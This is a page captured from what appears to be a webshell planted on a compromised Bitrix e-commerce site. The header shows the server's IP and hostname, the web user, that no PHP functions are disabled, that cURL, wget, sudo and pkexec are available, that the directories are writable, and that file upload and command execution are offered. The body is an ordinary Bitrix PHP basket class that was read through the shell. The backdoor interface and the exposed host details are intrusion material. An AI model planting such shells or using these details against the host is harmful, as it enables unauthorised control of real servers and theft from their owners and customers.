403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sale/lib/basket/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sale/lib/basket/refreshstrategy.php
<?php

namespace Bitrix\Sale\Basket;

use Bitrix\Sale\BasketItem;
use Bitrix\Sale\BasketItemBase;
use Bitrix\Sale\BundleCollection;
use Bitrix\Sale\Registry;
use Bitrix\Sale\Result;

abstract class RefreshStrategy extends BaseRefreshStrategy
{
	/**
	 * @param BasketItemBase $item
	 * @param                $fields
	 *
	 * @return Result
	 */
	protected function applyRefreshResult(BasketItemBase $item, $fields)
	{
		$bundleItemList = array();
		if (isset($fields['ITEMS']))
		{
			$bundleItemList = $fields['ITEMS'];
			unset($fields['ITEMS']);
		}

		/**
		 * Adds quantity which purchased
		 */
		if (isset($fields['QUANTITY']))
		{
			$delta = $item->getQuantity() - $item->getNotPurchasedQuantity();
			$fields['QUANTITY'] += max($delta, 0);
		}

		$result = parent::applyRefreshResult($item, $fields);
		if ($result->isSuccess())
		{
			if ($bundleItemList)
			{
				$r = $this->applyBundleRefreshResult($item, $bundleItemList);
				if (!$r->isSuccess())
				{
					$result->addErrors($r->getErrors());
				}
			}
		}

		return $result;
	}

	/**
	 * @param BasketItemBase $item
	 * @param                $bundleItemList
	 *
	 * @return Result
	 */
	protected function applyBundleRefreshResult(BasketItemBase $item, $bundleItemList)
	{
		/** @var BasketItem $item */
		$result = new Result();

		$registry = Registry::getInstance(Registry::REGISTRY_TYPE_ORDER);
		/** @var BasketItem $basketItemClassName */
		$basketItemClassName = $registry->getBasketItemClassName();

		/** @var BundleCollection $bundleCollection */
		$bundleCollection = $item->getBundleCollection();
		$bundleIndexList = array();
		/** @var BasketItem $bundleItem */
		foreach ($bundleCollection as $bundleItem)
		{
			$bundleIndexList[$bundleItem->getBasketCode()] = $bundleItem;
		}

		/** @var array $bundleBasketItemData */
		foreach ($bundleItemList as $bundleBasketItemData)
		{
			if (empty($bundleBasketItemData['MODULE']) || empty($bundleBasketItemData['PRODUCT_ID']))
				return null;

			$props = array();
			if (!empty($bundleBasketItemData['PROPS']) && is_array($bundleBasketItemData['PROPS']))
			{
				$props = $bundleBasketItemData['PROPS'];
			}

			/** @var BasketItem $bundleBasketItem */
			$bundleItem = $bundleCollection->getExistsItem($bundleBasketItemData['MODULE'], $bundleBasketItemData['PRODUCT_ID'], $props);
			if (!$bundleItem)
			{
				$bundleItem = $basketItemClassName::create($bundleCollection, $bundleBasketItemData['MODULE'], $bundleBasketItemData['PRODUCT_ID']);
			}

			$fields = array_intersect_key($bundleBasketItemData, $basketItemClassName::getSettableFieldsMap());
			$r = $this->applyRefreshResult($item, $fields);
			if (!$r->isSuccess())
			{
				$result->addErrors($r->getErrors());
			}

			unset($bundleIndexList[$bundleItem->getBasketCode()]);
		}

		if ($bundleIndexList)
		{
			/** @var BasketItemBase $bundleItem */
			foreach ($bundleIndexList as $bundleItem)
			{
				$bundleItem->delete();
			}
		}

		return $result;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit